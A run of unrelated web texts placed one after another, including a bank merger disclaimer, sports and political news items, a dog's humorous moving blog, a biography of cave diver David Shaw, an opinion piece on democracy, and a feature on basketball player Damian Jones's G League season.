Certain statements contained in this communication may be deemed to be forward-looking statements under certain securities laws. All such statements are made pursuant to the "safe harbor" provisions of, and are intended to be forward-looking statements under applicable Canadian and U.S. securities legislation, including the United States Private Securities Litigation Reform Act of 1995. These statements include, but are not limited to, statements about the operations, business lines, financial condition, risk management, priorities, targets, ongoing objectives, strategies of PrivateBancorp and CIBC and the regulatory environment in which they operate and outlook for calendar year 2017 and subsequent periods. Forward-looking statements are typically identified by the words "believe", "expect", "anticipate", "intend", "estimate", "forecast", "target", "objective" and other similar expressions or future or conditional verbs such as "will", "should", "would" and "could". By their nature, these statements require us to make assumptions, including the economic assumptions set out in the reports of PrivateBancorp and CIBC filed with the SEC, and are subject to inherent risks and uncertainties that may be general or specific. A variety of factors, many of which are beyond our control, affect our operations, performance and results, and could cause actual results to differ materially from the expectations expressed in any of our forward-looking statements. These factors include: credit, market, liquidity, strategic, insurance, operational, reputation and legal, regulatory and environmental risk; the effectiveness and adequacy of our risk management and valuation models and processes; legislative or regulatory developments in the jurisdictions where we operate, including the Dodd-Frank Wall Street Reform and Consumer Protection Act and the regulations issued and to be issued thereunder, the Organisation for Economic Co-operation and Development Common Reporting Standard, and regulatory reforms in the United Kingdom and Europe, the Basel Committee on Banking Supervision's global standards for capital and liquidity reform and those relating to the payments system in Canada; amendments to, and interpretations of, risk-based capital guidelines and reporting instructions, and interest rate and liquidity regulatory guidance; the resolution of legal and regulatory proceedings and related matters; the effect of changes to accounting standards, rules and interpretations; changes in our estimates of reserves and allowances; changes in tax laws; changes to our credit ratings; political conditions and developments, including changes relating to economic or trade matters; the possible effect on our business of international conflicts and the war on terror; natural disasters, public health emergencies, disruptions to public infrastructure and other catastrophic events; reliance on third parties to provide components of our business infrastructure; potential disruptions to our information technology systems and services; increasing cyber security risks which may include theft of assets, unauthorized access to sensitive information, or operational disruption; social media risk; losses incurred as a result of internal or external fraud; anti-money laundering; the accuracy and completeness of information provided to us concerning clients and counterparties; the failure of third parties to comply with their obligations to us and our affiliates or associates; intensifying competition from established competitors and new entrants in the financial services industry including through internet and mobile banking; technological change; global capital market activity; changes in monetary and economic policy; currency value and interest rate fluctuations, including as a result of market and oil price volatility; general business and economic conditions worldwide, as well as in Canada, the U.S. and other countries where we and CIBC have operations, including increasing Canadian household debt levels and global credit risks; our success in developing and introducing new products and services, expanding existing distribution channels, developing new distribution channels and realizing increased revenue from these channels; changes in client spending and saving habits; our ability to attract and retain key employees and executives; our ability to successfully execute our strategies and complete and integrate acquisitions and joint ventures; the risk that expected synergies and benefits of the merger between PrivateBancorp and CIBC will not be realized within the expected time frame or at all; and our ability to anticipate and manage the risks associated with these factors. This list is not exhaustive of the factors that may affect any of our forward-looking statements. These and other factors should be considered carefully and readers should not place undue reliance on our forward-looking statements. Additional information about these factors can be found in the reports filed by PrivateBancorp and CIBC with the SEC. Any forward-looking statements contained in this communication represent the views of management only as of the date hereof and are presented for the purpose of assisting our stockholders and financial analysts in understanding our financial position, objectives and priorities and anticipated financial performance as at and for the periods ended on the dates presented, and may not be appropriate for other purposes. We do not undertake to update any forward-looking statement that is contained in this communication or in other communications except as required by law.
To view the original version on PR Newswire, visit:http://www.prnewswire.com/news-releases/privatebancorp-stockholders-approve-acquisition-by-cibc-300456814.html
On Fox and Friends, Trump responded to Clinton’s comments about the way he speaks about women and his past comments about 1996 Miss Universe winner Alicia Machado.
According to Trump, Machado “was the winner and she gained a massive amount of weight, and it was a real problem.”
Clinton said during the debate that “one of the worst things he said was about a woman in a beauty contest. He loves beauty contests, supporting them and hanging around them, and he called this woman 'Miss Piggy,' then he called her 'Miss Housekeeping' because she was Latina."
“Donald, she has a name. Her name is Alicia Machado,” Clinton said, “and she has become a US citizen and you can bet she is going to vote this November."
The 28-year-old Boswell joined the Dynamo via trade in December 2007 and has been a mainstay on the team’s back line ever since, starting 120 of the team’s 133 MLS and playoff games and moving into fifth place in club history with 142 starts in all competitions. After netting a career-high five goals in 2011 to tie for the team lead, Boswell is also tied for 10th in club history with 11 goals in all competitions. He ranks fourth in club history in games started as team captain.
“I’m glad Bobby re-signed,” Dynamo head coach Dominic Kinnear said. “He’s an important part of the team, and I’m very happy that he’s going to be with us next season.”
Named the team’s Defender of the Year in 2008 and 2010, Boswell was a key player in memorable playoff shutout streaks in both 2009 and 2011. The veteran has also been a leader in the Houston community, regularly visiting area hospitals and leading the Bobby Boots Breast Cancer campaign as part of Breast Cancer Awareness Month in each of the last two seasons.
The same sources told 247Sports that the 6-foot-5, 310-pound Richmond now is expected to sign with Tennessee on Wednesday.
Richmond had been committed to the Rebels since September but spent the final weekend before National Signing Day visiting the Vols. He has been one of Tennessee's top targets in the 2015 class for almost two years.
The Twitter accounts belonging to Richmond and Ole Miss coach Hugh Freeze showed Monday night that the two no longer are following one another.
I’ll start by saying that I am quite embarrassed that Mum and Dad came home with a bunch of banana boxes from the grocery store to use as moving boxes. What kind of cheapos am I living with..?
Now with my current shoulder injury (which seems to be getting better), I can’t do much around the house – including helping to pack. So instead, I have taken the rather favorable position of being ‘moving coordinator’. This means I get to sit on my step and tell Mum and Dad what to pack.
“Mum, I want you to start packing that box with my toys, but ONLY broken toys that do NOT squeak. Once you’re done, mark the box as ‘non-squeaker toys’. The other box will be for my toys that DO squeak'”.
(You need to be organized to be the moving coordinator).
So anyway, of course Mum didn’t do it exactly as I wanted, even with my clear directions. If you want something done right, you have to do it yourself, so I just had to get in there and fix things myself.
In retrospect, it wasn’t the best idea for me to have gotten involved – because once I started pulling them out I couldn’t help but want to play with them. In the end, I just ended up unpacking both boxes.
And yes, I have a lot of toys. That’s one of the good parts in being a celebrity.
The other thing I have to keep a close eye on is Mum trying to slip a few of my old and worn out toys into the garbage while packing them (and even unpacking them!). She’s been known to do this before. So I carefully sniffed out all the boxes to make sure there weren’t any toys hidden within that might not ‘reappear’ later on.
And it was only while writing this post that I noticed I had dried yogurt on my nose the whole time. Geez, Mum and Dad could have told me that before we begun a photo shoot..
As you can tell, I don’t take this subject lightly.
As for Dad, I have to make sure he delicately wraps & packs all my trophies, awards, and pictures and marks the box as ‘fragile’. He seems to think that packing useless stuff like his books and video games are more important, so I had to remind him that I’m the moving coordinator by chewing on one of his boxes. That got his attention.
Similar to the toy situation, once I saw all my gleaming trophies come off their shelves, I couldn’t resist taking a picture with them. Here’s me with a couple of them. But keep in mind I still have hundreds more now packed away in one of the boxes.
Now since I am unfamiliar with what our new neighborhood will be like, I have been searching for a good guard dog service for the time of our move. With me being busy watching over the move, there won’t be anyone (any dog) to keep an eye on our stuff while we move in. And I still don’t know if there are any wired-hairs in the area yet, as I’m sure they would jump at the opportunity to steal one of my trophies and claim it as their own.
So if anyone knows a good guard dog service, do let me know.
The days are counting down!
Keep packin’,
~ Crusoe
My New Book! Featuring my worldly travels far and wide, from Europe to Mexico and more, and the whole story of my surgery and recovery! Rated 5 stars on Amazon! Get Yours!
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“It’s a modern-day story,” Ryan Murphy revealed to reporters Thursday at the Television Critics Association winter press tour, adding that AHS vets Sarah Paulson and Evan Peters are the first two cast members to officially sign on.
RELATED American Crime Story‘s Katrina-Themed Season 2 Delayed Until 2018
Regarding the level of secrecy the new season will be shrouded in, Murphy — echoing comments he made last fall — said he’s inclined not to do another stealth reveal a Season 6’s Roanoke-themed outing. “I don’t know that we’d do that again,” he said. “I think maybe we would release [some hints] of it earlier. I just started writing it. I haven’t decided how to do it yet.”
Murphy previously said that Season 7 would involve several Freak Show characters.
Earlier at TCA, FX Network CEO John Landgraf said of the new AHS season: “Ryan has another really innovative idea to do something fresh and different. There’s a marketing and promotional hook around that.”
TVLine then asked Landgraf if — having now renewed Horror Story for a total of three additional seasons — he has heard from Murphy ideas for Seasons 8 and 9. Or was the move purely based off good ratings/good will?
Nato must do more to destroy heavy weaponry used by Muammar Gaddafi's forces in Libya, the French and British foreign ministers have said.
Libyan civilians remain at risk, France's Alain Juppe said, despite the ongoing Nato-led bombing campaign.
The UK's William Hague urged Nato allies to intensify military operations, but a Nato general said the alliance was "doing a great job".
Libyan rebels opposing Col Gaddafi have been pushed back despite the air raids.
Pro-Gaddafi forces launched fresh artillery attacks on the rebel-held city of Misrata on Tuesday.
The last rebel-held area in the west, Misrata has been under siege for more than six weeks, with rights groups warning of a shortage of food and medical supplies.
'Intensify efforts'
Commenting on the military campaign, French Foreign Minister Alain Juppe said efforts in Libya were so far "not enough".
Analysis What Mr Juppe's comments represent is an increasing sense of frustration at the way the military operation is going. For several weeks there have been interventions by both Nato and other aircraft over Libya and yet Col Gaddafi's forces are still able to use heavy weapons against civilians in Misrata. There is a fear that we could be heading towards some sort of stalemate - something that for the French and others would be unacceptable. Make no mistake, there is an implied criticism of Nato. The frustration creeping in here also exists in London. The French find it embarrassing that several weeks after this operation started the civilians in Misrata are still being hit with heavy weapons.
"Nato must play its role fully. It wanted to take the lead in operations," Mr Juppe said.
Mr Hague later echoed Mr Juppe's comments: "We must maintain and intensify our efforts in Nato.
"That is why the United Kingdom has in the last weeks supplied additional aircraft capable of striking ground targets threatening the civilian population.
"Of course it would be welcome if other countries also did the same," he said on arrival at a meeting of EU foreign ministers in Luxembourg.
In France's National Assembly, Defence Minister Gerard Longuet said there was a limit to Nato's current capability.
"Today we have no support in the ground attack role, without which there's no chance of breaking the siege of towns like Misrata or Zenten," he said.
That sentiment was echoed by a senior Libyan rebel, Mustafa Abdel Jalil. He said Nato could not relieve besieged cities and appealed for arms and supplies.
Media playback is unsupported on your device Media caption Dutch Brig Gen Mark Van Uhm said he felt Nato was doing well "with the assets we have"
However, Dutch Brig Gen Mark Van Uhm, head of Nato operations in Libya, said he felt Nato was doing well "with the assets we have".
The alliance had been successful in establishing a no-fly zone, protecting civilians and enforcing an arms embargo, he said, speaking at Nato HQ in Brussels.
Meanwhile in the UK, the Foreign Office confirmed that the most high-profile minister to flee Libya, Moussa Koussa, had left the UK for Qatar, to meet the emirate's government and Libyan representatives.
A spokesman from the UK government said that Mr Koussa was "a free individual, who can travel to and from the UK as he wishes".
Ceasefire rejection
Media playback is unsupported on your device Media caption Moussa Koussa - a former head of Libyan intelligence - said he could not continue in Libya's government
Nato also denied a report made by Libyan state television that a strike by international forces killed civilians in the town of Kikla, south-west of Tripoli, on Monday.
"We can confirm there was an air strike in that region. However, it was 21 km (13 miles) southwest of the town that was mentioned on Libyan TV, Kikla. And the target was two tanks," Gen Van Uhm said.
On Monday, the rebels rejected a ceasefire proposal by the African Union (AU) which the organisation said had been accepted by Col Gaddafi.
The rebels' Transitional National Council (TNC) said it was unfeasible as it did not include a provision for the Libyan leader to step down, but the AU have urged them to reconsider.
U.S. Ambassador to the United Nations Nikki Haley said Thursday that "we're not going to run scared" if faced with a North Korean military strike on the U.S.
Haley's comments were prompted by a reporter's question as to what circumstances would lead to military action against North Korea.
"When the president had spoken in his speech about totally destroying North Korea if forced to defend ourselves or allies, what exactly did he mean? Under what circumstances would he consider totally destroying North Korea?" the reporter asked.
"Well, I think that's just common sense," Haley said.
She explained that war was undesirable, a point the administration has made repeatedly.
"I mean, if you look at it, we have said multiple times— the president said it, members of his team have said it, we don't want war. That's the last thing anyone wants. We don't want loss of life. That's the last thing anyone wants," she said.
However, Haley made clear, this doesn't mean the administration is taking a hands-off approach to North Korea.
"But at the same time, we're not going to run scared. If for any reason North Korea attacks the United States or our allies, the U.S. will respond. Period. That's what's going to happen," Haley said.
Must. Develop. A. Quarterback.
Stone-faced Steve Spurrier, Danny Wuerffel and Tim Tebow will lord over him until he accomplishes the mission. But inside the state of Florida, McElwain is not alone. Florida State, Florida and Miami have grown so accustomed to producing elite quarterbacks, they must live up to their own lofty standards every year.
Last year's ACC Rookie of the Year, Brad Kaaya, is in a position to take his game to the next level in 2015. Getty Images/Stacy Revere
When they don't, there is near hysteria from their respective fan bases. And coaches end up losing their jobs. See: Muschamp, Will.
After all, Florida, Florida State and Miami have combined to produce eight Heisman Trophy winners -- all quarterbacks. That is more than any other state. Only Notre Dame (four) has produced more Heisman-winning quarterbacks than Florida State (three) and Florida (three).
Though it is Miami that has been known as Quarterback U, this upcoming season will be the first time in more than a decade the Hurricanes have the best quarterback in the state. That helps explain why Miami has fallen so precipitously. Over the same span, Florida and Florida State have produced a combined two Heisman winners and three national championships.
Miami has produced zero. The Canes haven't had a quarterback drafted, either. Down cycles are to be expected -- Florida is in one now; Florida State was in one before Christian Ponder emerged in 2008. But dating back to the 1990s, neither Florida State nor Florida has gone through the decade-long drought Miami is in now.
That is why there is optimism in Coral Gables with Brad Kaaya behind center. Florida and Florida State have yet to announce their starting quarterbacks for 2015, while Miami returns the reigning ACC Rookie of the Year.
"Finding a quarterback -- it is the most elusive thing in football," Miami coach Al Golden said. "Our situation looks a lot different than a year ago. We didn't know who our quarterback was going to be, so it's hard to say these two things in the same sentence -- we want to be champions but we don't know who our quarterback is. That's a difficult thing."
Kaaya started as a true freshman last season and threw for more than 3,000 yards, emerging as potentially the best quarterback to play at Miami since Ken Dorsey in 2002. It is not for a lack of trying. Miami signed a slew of four- and five-star recruits in the years that followed Dorsey's tenure, but none of them lived up to their potential for a host of reasons. Kaaya had less pedigree than players such as Kyle Wright (2003 Gatorade High School Player of the Year) and ESPN 300 quarterback Kevin Olsen, who had a shot at the starting job last year before he was kicked off the team for repeated off-field problems.
Kaaya might not have had the stars next to his name, but he had the intangibles coaches look for: work ethic, drive, determination and a high football IQ. Not one thing about the quarterback tradition at Miami scared him off.
"I knew pretty well about their history," Kaaya said. "This team in general, I want this team to be able to leave a legacy. That's what I've always wanted. I love The U. I love going to school here, I love everything about it. But at the same time, I want to bring us back to where we used to be."
Florida State got itself back thanks, in part, to what Jimbo Fisher has done with his quarterbacks. Before he arrived, the Seminoles scuffled along with QBs such as Drew Weatherford, Chris Rix, Wyatt Sexton and Adrian McPherson.
Since he arrived in 2007, first as coordinator and then as head coach, Fisher has produced two first-round NFL picks in Ponder and EJ Manuel. Jameis Winston will likely make it three in a row next week. That would give Florida State three first-round quarterbacks over a five-year span, the first time that has happened since the AFL-NFL merger.
But 2015 is far from certain. Sean Maguire is the favorite to win the job, but Fisher has yet to name him the starter. When Winston became the starter as a redshirt freshman in 2013, he had a veteran supporting cast around him. The only established player Florida State returns on offense this year is running back Dalvin Cook.
"It goes back to play calling," Fisher said. "You have to be careful the scenarios you put your quarterbacks in, and you want to make sure they have success so they can grow because a season -- it's about winning a game not how much you win it by. You have to grow.
"There are challenges that we're facing. I've got an idea of what we can do, but I want to push those boundaries to see how far they can go, and how far Sean can go and then when they go wrong, how does he react? A lot of playing quarterback is managing the bad plays. That's as important as managing the good plays."
McElwain has developed his fair share of quarterbacks, too, working with Greg McElroy and AJ McCarron at Alabama and Garrett Grayson at Colorado State. His offensive background is a major reason why Florida hired him. The Gators have struggled to find a quarterback since Tim Tebow left in 2009.
Right now, Will Grier and Treon Harris remain the the lone contenders to start. But neither did much this spring to begin to change the idea that Florida still is deficient at that position. And that is an idea that must be changed quickly for McElwain to be embraced among the Gators faithful.
"Maybe this is growing up in Montana, but I've never thought of anything as pressure," McElwain said. "The bigger the stakes, the greater the opportunity. What a great opportunity at a great place that's known for the position to mold someone that's here and as we continue to recruit, to get that back where it becomes, 'Hey this is the quarterback at the University of Florida, right?'"
Florida has yet to name a starter between Treon Harris and Will Grier. Rob Foldy/Getty Images
Not just any quarterback, mind you. For those three schools, each national championship trophy has been lifted with a quarterback able to make astonishing plays out of nothing, while turning the mundane into the extraordinary. And he has been inextricably linked with a coach unafraid to put the ball into his quarterback's hands and not simply manage the game, but take over the game.
This is what Fisher, Spurrier and Urban Meyer do so well. You always get the sense their quarterbacks will thrive in their respective offenses. Golden and McElwain are trying to get one to thrive.
Kaaya is close. But his sophomore year is the ultimate test for Golden, who simply cannot afford another 6-7 season. It has been 13 years since Miami fans believed in their quarterback the way they do now. Golden knows what he has in Kaaya, too. He could be the key to not only saving Golden's job, but saving Miami itself.
"He's clearly very comfortable in his skin now and he's an established starter and obviously talented," Golden said. "He's getting better, he's leading more. He'll do extra work. He studies like crazy. Very mature and he's starting to relax more. We're excited about him."
The schedule is tough, but there is no more time for excuses. Fisher and McElwain both agree that their rival's quarterback is something special. Golden cannot afford to see Kaaya have anything less than a special season.
David John Shaw (20 July 1954 – 8 January 2005) was an Australian scuba diver, technical diver, and airline pilot for Cathay Pacific, flying the Lockheed L-1011 Tristar, then the 747-400, and then the A330-300, A340-300, and A340-600.[1] He flew for Cathay Pacific from 1989 until his death in 2005. Before flying for Cathay Pacific he flew for Missionary Aviation Fellowship in Papua New Guinea and Tanzania. He also flew agricultural aircraft in South Australia and New South Wales.
Dive equipment [ edit ]
Shaw's first rebreather was an Inspiration closed circuit rebreather, which he eventually dived to depths beyond the unit's supposed capability. That prompted him to purchase a Mk15.5, which he modified by removing the analogue electronics and replacing them with the Juergensen Marine Hammerhead digital electronics, in a specially modified POD designed to handle extreme pressures. The Mk15.5 was his rebreather of choice for dives deeper than 150 metres (500 ft). Shaw also owned a Cis-Lunar Mk5P that he used on extended dives in caves shallower than 150 m. He believed the Cis-Lunar had greater redundancy capabilities for such dives but could not cope with extreme depths.[citation needed]
Diving records [ edit ]
On 28 October 2004, Shaw broke the following records at Bushman's Hole, South Africa:
Depth on a rebreather
Depth in a cave on a rebreather
Depth at altitude on a rebreather
Depth running a line
He used a Mk15.5 with Juergensen Marine Hammerhead electronics and the following gas mixtures: trimix 4/80, 10/70, 15/55, 17/40, 26/25, air, nitrox50, 100% oxygen. The cave elevation was 1,550 metres (5,090 ft) and the dive duration was 9 hours 40 minutes.[2]
On this record-breaking dive, Shaw discovered the body of Deon Dreyer, a South African diver who had died in Bushman's Hole ten years previously. The body was at a depth of 270 metres (890 ft).[3][4]
Last dive [ edit ]
Shaw died on 8 January 2005 while seeking to recover the body of Deon Dreyer.[3][4]
Shaw recorded his dive with an underwater camera, which allowed researchers to determine that he suffered from respiratory issues due to the high pressure.[5][6] Shaw ran into difficulties when he cut loose Dreyer's harness and the body unexpectedly began to float. Shaw had been advised by various experts that the body would remain negatively buoyant because the visible parts were reduced to the skeleton. However, within his wetsuit, Dreyer's corpse had turned into a soap-like substance called adipocere, which floats. Shaw had been working with both hands, and so had been resting his can light on the cave floor. The powerful underwater lights that cave divers use are connected by wires to heavy battery canisters, normally worn on the cave diver's waist, or sometimes attached to their tanks. Normally he would have wrapped the wire behind his neck, but he was unable to do so; the lines from the body bag appear to have become entangled with the light head, and the physical effort of trying to free himself led to his death. Three days later, both of the bodies floated up to near the surface as the dive team was retrieving their equipment.[7]
The dive on which Shaw died was the 333rd dive of his career. At the time of his world record setting dive, he had been diving for just over five years.[8][9][10]
Personal life [ edit ]
The ideals that are the starting point for every revolution — America’s revolution, Cuba’s revolution, the liberation movements around the world — those ideals find their truest expression, I believe, in democracy.
There is so much wrong here that one doesn’t even know where to begin. The United States is not a democracy. It wasn’t conceived as a democracy. It has not developed as a democracy. Democracy, in its purest form, is mob rule. A sampling:
“Hence it is that democracies have ever been spectacles of turbulence and contention; have ever been found incompatible with personal security or the rights of property; and in general have been as short in their lives as they have been violent in their deaths… A republic, by which I mean a government in which a scheme of representation takes place, opens a different prospect and promises the cure for which we are seeking.” James Madison, Federalist Papers No. 10 (1787). “A democracy is nothing more than mob rule, where fifty-one percent of the people may take away the rights of the other forty-nine.” Thomas Jefferson. “Remember, democracy never lasts long. It soon wastes, exhausts, and murders itself. There never was a democracy yet that did not commit suicide.” John Adams.
What is more is the Cuban Revolution and the communist “liberation movements” that Obama applauds never in their wildest dreams envisioned empowering the people to govern. Their ideals had nothing to do with democracy and everything to do with using the state as a way to achieve the perfection of man… under the correct leadership. From the inception of Castro’s revolution is was designed to produce a dictatorship with Castro at the top. The same is true with every single “liberation movement” that has stalked the landscape over the past seventy years. Go down the sad list, Vietnam, Laos, Cambodia, Angola, Colombia, Peru, Argentina. Bolivia, El Salvador, Nicaragua, and you don’t find a solitary “liberation movement” that was motivated by the desire to increase individual freedom.
When George Washington was encouraged to lead a coup and supplant the ineffectual government, the Newburgh Conspiracy, he not only declined but so shamed the instigators that the US Army never again contemplated taking political power. When encouraged to become a king, he returned to Mount Vernon and private life after two terms as president. Where the founders of the American republic voluntarily relinquished power, the Castros have created nothing but a thugocracy.
Obama also cautioned against the risk of overplaying the threat of terror groups and said the U.S. should instead align itself with the overwhelming majority of Muslims who reject the radical ideology and tactics of terrorist groups like ISIS and al Qaeda.
"I don't quibble with labels. I think we all recognize that this is a particular problem that has roots in Muslim communities," Obama said in an interview with CNN's Fareed Zakaria. "But I think we do ourselves a disservice in this fight if we are not taking into account the fact that the overwhelming majority of Muslims reject this ideology."
Republicans have criticized Obama in recent weeks for refusing to label the terror threat the U.S. and the West faces as Islamic extremism or rooted in radical Islam. Obama stuck to condemning the terrorism and violent extremism in the wake of terror attacks in Sydney and Paris carried out by jihadists.
Santa Cruz natives rarely recognize him as a basketball player, so Jones usually can blow up enemy aliens without any bother.
“Usually, I’m in the arcade. I’ve been mini-golfing once. I haven’t been on any of the rides yet. So, mostly, I’m in the arcade,” the 22-year-old Jones said. “The rides seem pretty old. There is probably not enough space for me.
“But they have a pretty spacious arcade. I usually play Galaga. I spend a lot of time there.”
The two-time All-Southeastern Conference selection had the potential to become a top-20 selection in the 2016 NBA draft after departing from Vanderbilt after his junior season. Jones’ draft hopes dipped after he suffered a torn pectoral muscle in his right arm during a draft workout with the Orlando Magic that required surgery. The Warriors ended up drafting Jones with the last pick of the first round, 30th overall, in 2016.
On Dec. 10, 2016, Jones made his NBA debut in the fourth quarter of the Warriors’ 110-89 loss to the host Memphis Grizzlies. He appeared in 10 regular-season games and four playoff games last season as the Warriors went on to win the 2017 NBA championship. Jones also played in 31 games last season for the Warriors’ Development League affiliate in Santa Cruz, averaging 11.3 points and 7.2 rebounds.
Jones got his bling when the Warriors gave the players their 2017 NBA championship rings on Oct. 17, but he was not activated to play in the season opener against the Houston Rockets. Santa Cruz center Trevor Thompson was excited to see Jones get his ring after spending time playing with him in training camp with the G League team.
“I didn’t realize that he had a championship ring until I saw something on Twitter,” said Thompson, a rookie center for Santa Cruz. “I was like, ‘Is that Damian? He actually has a championship ring.’ I haven’t seen it yet, but I might ask him.”
Said Jones: “I won a championship my first year. I can always say that. To see my name on a championship banner is crazy. That’s history, being on one of the best teams ever.”
Jones is healthy and played for the Warriors during summer league last offseason. But the reigning NBA champions are so talented and deep at the center position that they have not needed him on the active roster this season. The Warriors’ injury list for Friday’s game at Detroit listed Jones as “on G League assignment.”
Golden State’s pecking order at center is starter Zaza Pachulia, David West, JaVale McGee, Kevon Looney and then Jones. So instead of watching in street clothes on the Warriors’ bench, Jones has been spending this season with Santa Cruz in the former D-League (rebranded G League from a Gatorade partnership) and has yet to play an NBA game this season. The Warriors exercised his contract for the 2017-18 season.
“It made me feel good because it showed that they have confidence in me,” Jones said.
Warriors head coach Steve Kerr and general manager Bob Myers get reports on how Jones is doing after every Santa Cruz game. Kerr said he also texts with Jones regularly and talks to Santa Cruz head coach Aaron Miles and Warriors two-way development coach Luke Loucks about Jones’ development. Kerr also believes it’s best for Jones to be in Santa Cruz right now.
“It’s great for him. He needs to play. He wouldn’t be playing up here. Things are going well for him,” Kerr said.
Jones admitted that he at times feels disconnected from Golden State because of his long absence. Even so, the Baton Rouge, Louisiana, native also understands why it is best for him to be getting reps in Santa Cruz. Jones said Warriors assistant coach Ron Adams recently told him to look at being in Santa Cruz not as a demotion but as a means to get playing time and get better.
“You want to be up there with the big team, but you know you have to play in order to get better,” Jones said. “You can’t just sit on the sideline and watch. You have to get some game action. I always think of it that way. Also, I got friends on this team too. While I’m here, I might as well get better.
“Probably around the Sacramento preseason game I realized I probably would be sent down, as I realized how the minutes were going. I was like, ‘Well, I see where the rotation is going.’ Over time, eventually I knew I was going to be sent down when training camp started [in Santa Cruz]. I just had to come down here to do the best I can and to get better.”
The G League became the NBA’s official minor league system after it was established in 2001. The G League has 26 teams, which leaves all but four NBA teams without primary affiliates. Jones has an apartment in downtown Oakland, not far from the Warriors’ practice facility. But while in the G League, he lives in a motel near the beach and across from the famed Santa Cruz Beach Boardwalk Amusement Park.
Santa Cruz typically packs the 2,505-seat Kaiser Permanente Arena for G League games during the cold winter months when surfing and sunbathing are difficult. Considering that the G League also has teams in Fort Wayne, Indiana; Oshkosh, Wisconsin; Erie, Pennsylvania; and Sioux Falls, South Dakota, Jones could be in worse places than a town known for its amusement park, beach, skateboarding and surfing.
“It’s a lot better than most,” Jones said of Santa Cruz. “I was talking to my friend from back home who plays for the Wisconsin Herd and he says the town he plays in sucks. So, being in a town like this, there are more things to do. You got to enjoy it. Sioux Falls isn’t that great. You have to make the best of the city you’re in, because there are worse.”
The Warriors typically stay in five-star luxury hotels and fly on private charter planes. G League teams typically stay at three-star hotels, which Jones described as “decent, like hotels from AAU.” Jones said he was in a hotel room in Rio Grande, Texas, and Sioux Falls last season where he had problems closing his room’s door.
G League teams also fly on commercial planes. Santa Cruz often takes the 40-minute drive to San Jose International Airport. Since Jones is an NBA player, Santa Cruz must purchase the 7-footer either a first-class or business-class ticket for airline travel. G League teams occasionally go on long bus rides, like when Jones and Santa Cruz drove to Reno, Nevada, last season while it was snowing.
“We were going up to [Reno] towards the Nevada border and it was snowing, crazy traffic,” Jones said. “We had to stop to get snow chains for the bus and put them on. Once we got to a certain point, traffic was crazy. A five-hour drive ended up being nine or 10 hours. That one sucked, but for the most part [the bus rides] haven’t been too crazy.”
Jones said he misses the direct charter flights with Golden State. But there is one benefit to traveling commercial.
“I rack up my points. I got a Southwest Rapid Rewards account, so I get these points up,” Jones said. “I always try to sit in the front row. People usually don’t like to sit in the front row unless there is a lot of people preboarding. Flights usually aren’t really that long, so I’m straight.
“The NBA rules say I get my own hotel room. Some guys have to share a room, but I don’t mind, to be honest.”
G League players not affiliated with NBA teams earn one of two salaries, $19,500 or $26,000, for the six-month season. Teams provide free housing for the players. Jones, however, is making $1.3 million this season whether he is called up by Golden State or playing in Santa Cruz.
“It’s crazy about the [G League] salaries. It’s basically like a low-income job, especially being in this area, where the cost of living is much higher,” Jones said.
NBA players receive a per diem of $129 for each day on the road in the 2017-18 season. Even with Santa Cruz, Jones receives the same per diem on game days. The G League per diem for players, however, is $50 per day. Jones acknowledged that he feels uncomfortable when he sees the per diem he receives compared with his teammates.
“There is like a per diem and they list everybody’s name, and they have my name on there with the amount that I’m given,” Jones said. “I usually try to be the first one there, scratching out my name and signing next to it. I don’t want them to see how much it is. It is crazy, the difference in pay.”
So, has Jones faced any jealousy from his G League teammates or opponents?
“Not really. No. Guys have been pretty cool. It’s been pretty chill. A lot of the guys have been on [NBA] teams before,” he said.
Jones entered Thursday’s game against the Austin Spurs averaging 17.4 points, 8.3 rebounds and 2.1 blocks per game through 14 contests. It appears that Jones, however, could get more shots per game, as he is fourth on the team in attempts per contest with 10.3. While Jones may need to be more aggressive to get the ball, Santa Cruz head coach Miles yelled to his players to get Jones the ball more during the second half of a win over Long Island on Nov. 17.
“Some teams, the tallest man is 6-9. It’s different from a size perspective sometimes. But everybody is hungry to play because they want to get that call-up,” Jones said of the G League competition.
Miles faces the challenge of getting Jones the needed minutes, development and motivation while also trying to win games. The former Warriors and D-League guard said he often tells Jones to keep in mind that the Warriors have six players who can play center while other NBA teams do not. Miles said he has told Jones to “be great” so he will be ready when his time comes to be promoted. Santa Cruz entered Thursday’s game against Austin with a 9-5 record.
“D.J., in his second year, I’m assuming he expected to be in the NBA the whole time,” Miles said. “That’s the hardest thing for a guy who has aspirations and goals. He played in the D-League for a while last season, so now he probably feels like he should up their playing. He’s watching games with other teams where there are players that he might feel he’s better than. They’re up there and he’s down here.”
Golden State does not practice much during the regular season. It is not uncommon to see NBA players who do not receive much playing time go 3-on-3 against each other after practices or shootarounds. So along with a lack of playing time, Jones would also lack practice time to develop if he were with Golden State full time.
Golden State, however, does have a two-way player development coach, Loucks, who works with Jones before and after practices. Loucks also attends Santa Cruz games, sitting on the bench, with Miles’ coaching staff offering reminders about Jones if needed.
Loucks said the Warriors are “investing a lot” in the athletic Jones. Loucks also says he constantly reminds Jones that he is not demoted, but rather getting “a chance to work.”
“Athletically, he is so gifted,” said Loucks, a former Florida State and D-League guard. “He has God-given athletic ability, and he can do things that clearly no one on the team with the Warriors can do. He’s 7 feet tall. He can jump 40 inches [vertical]. He can sprint like a guard.
“But just teaching him basic basketball instincts of timing and rhythm, [our offense] is all just timing and knowing how to rotate. And that’s not saying he can’t do it yet, but those are things on a day-to-day basis that we watch film on. … It’s nothing physical and nothing basketball. The opportunity is not there yet. But those are things we need to work on down here.”
Loucks described Jones as “one of the generous, nice people that you know.” Miles and Thompson said that Jones has never once shown an ego this season. Miles also described Jones as “one of us.” Thompson added that he is learning daily from Jones, who he says has a “positive attitude” and “never gets down on things.”
“I’ve learned a lot. I try to shadow this dude,” said Thompson, a former Ohio State star who went undrafted by the NBA this year. “I watch what he does. If he shoots, I am going to shoot. I just like to watch and learn from him because I’m trying to be where he’s at. I try to pick up everything he does and watch. Sometimes I marvel about how hard he dunks and the things he does. I thought I was athletic, but then I look at this dude. I learn a lot from him on and off the court on how he handles himself.”
Jones says he enjoys walking around, dining at Beach Street Cafe and Hoffman’s Bakery Cafe, and hanging out in nearby Capitola often with teammate James Southerland. Jones goes to the movies with his teammates, including a recent showing of Justice League. He has joined teammates in laser tag in the arcade. He walks about 10 to 15 minutes to and from practices and games at the Kaiser Permanente Center from his motel. And when hanging out by himself, he works to keep his high score in Galaga, the arcade game his dad taught him how to play.
